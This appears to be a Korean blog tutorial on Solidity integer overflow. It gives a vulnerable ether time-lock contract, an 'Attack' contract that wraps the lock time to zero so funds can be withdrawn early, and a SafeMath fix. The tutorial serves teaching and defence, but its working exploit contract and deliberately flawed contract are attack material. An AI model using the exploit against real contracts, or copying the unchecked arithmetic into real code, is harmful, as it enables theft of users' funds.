[Solidity] Underflow, Overflow

임형석·2023년 10월 4일
0

Solidity


Overflow & Underflow

솔리디티 언어가 표현할 수 있는 숫자의 크기의 범위는 0 ~ 2**256-1 이다.

부등식으로 표현하면 이렇게 되겠다. 0 <= X <= 2**256 -1

이것이 보통 사용하는 uint256 의 범위이다.

그리고 이 범위를 초과했을 때를 overflow 라고 하며, 초과한 만큼의 수를 인식하게 된다.

예를 들어, 2**256 + 3 이라는 정수는 그냥 3 이라고 인식하게 된다.

underflow 는 overflow 의 반대이다. 음수를 표현할 때에도 -3 이라는 정수는 2**256 - 3 이라는 정수로 인식하게 된다.


예시 코드

// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract lockEther {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _increaseLockTime) public {
        lockTime[msg.sender] += _increaseLockTime;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        payable(address(msg.sender)).transfer(amount);
    }
}

contract Attack {
    lockEther lockEthers;

    constructor(address _lockEther) {
        lockEthers = lockEther(_lockEther);
    }

    receive() external payable {}

    function attack() public payable {
        lockEthers.deposit{value: msg.value}();

        // overflow 로 LockTime 값을 0으로 만들어서 곧바로 출금이 가능하도록 만듬.
        // 언락시간 + (2**256 - 언락시간) = 2**256 = 0
        // (2**256 - 언락시간) 값 만큼을 increaseLockTime 함수를 사용해서 증가시켜주면 값은 0 이 됨.
        lockEthers.increaseLockTime(
            type(uint).max + 1 - lockEthers.lockTime(address(this))
        );
    }

    function withdrawAll() public {
        lockEthers.withdraw();
    }
}

위와 같이 Ether 를 예치하고, 예치한 이더는 1주일 뒤에 받을 수 있는 컨트랙트를 작성했다.

하지만 overflow 를 사용하여 언제든 이 컨트랙트에 예치한 이더를 출금할 수 있다.

    function attack() public payable {
        lockEthers.deposit{value: msg.value}();

        // overflow 로 LockTime 값을 0으로 만들어서 곧바로 출금이 가능하도록 만듬.
        // 언락시간 + (2**256 - 언락시간) = 2**256 = 0
        // (2**256 - 언락시간) 값 만큼을 increaseLockTime 함수를 사용해서 증가시켜주면 값은 0 이 됨.
        lockEthers.increaseLockTime(
            type(uint).max + 1 - lockEthers.lockTime(address(this))
        );
    }

attack() 함수를 통해 lockEther 컨트랙트에 이더를 예치할 수 있다.

동시에 시간 값을 증가시키는 함수인 increaseLockTime() 함수를 통해 내가 예치한 이더의 언락 시간을 0으로 만들어 버릴 수 있다.

그래서 곧바로 withdraw() 함수로 예치한 이더를 1주일이 지나지 않았음에도 곧바로 출금할 수 있다.


직접 확인해았다.

먼저 1이더를 attack 컨트랙트를 통해 예치한다.

attack 컨트랙트의 주소를 입력해 예치한 이더의 수량과 언락시간을 확인한다.

1이더가 예치되었고, overflow 로 인해 언락시간은 0이 되었다.

곧바로 withdraw 함수로 출금을 진행, 정상적으로 출금되었다.


overflow, underflow 를 방지하는 방법

Openzeppelin SafeMath

오픈제플린의 라이브러리를 사용하면 된다.

위 라이브러리의 코드는 매우 단순한데, add 부분만 살펴보면..

  function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
    c = a + b;
    assert(c >= a);
    return c;
  }

c = a + b 일때, c >= a 를 만족해야 c 값을 반환해주는 것.

이렇게 매우 간단하게 over, under flow 를 방지할 수 있다.

수정한 코드로 다시 공격을 해보면..

이렇게 에러가 뜨며 방어가 된다.


만약, 솔리디티 컴파일러의 버전이 0.8.0 이상이라면 safeMath 라이브러리를 사용할 수 없다.

그 이유는, 0.8.0 이상의 버전부터는 overflow, underflow 가 발생하면 트랜잭션을 중지하고 revert 하게 된다.

따라서 safeMath 라이브러리를 사용할 필요가 없다.


0개의 댓글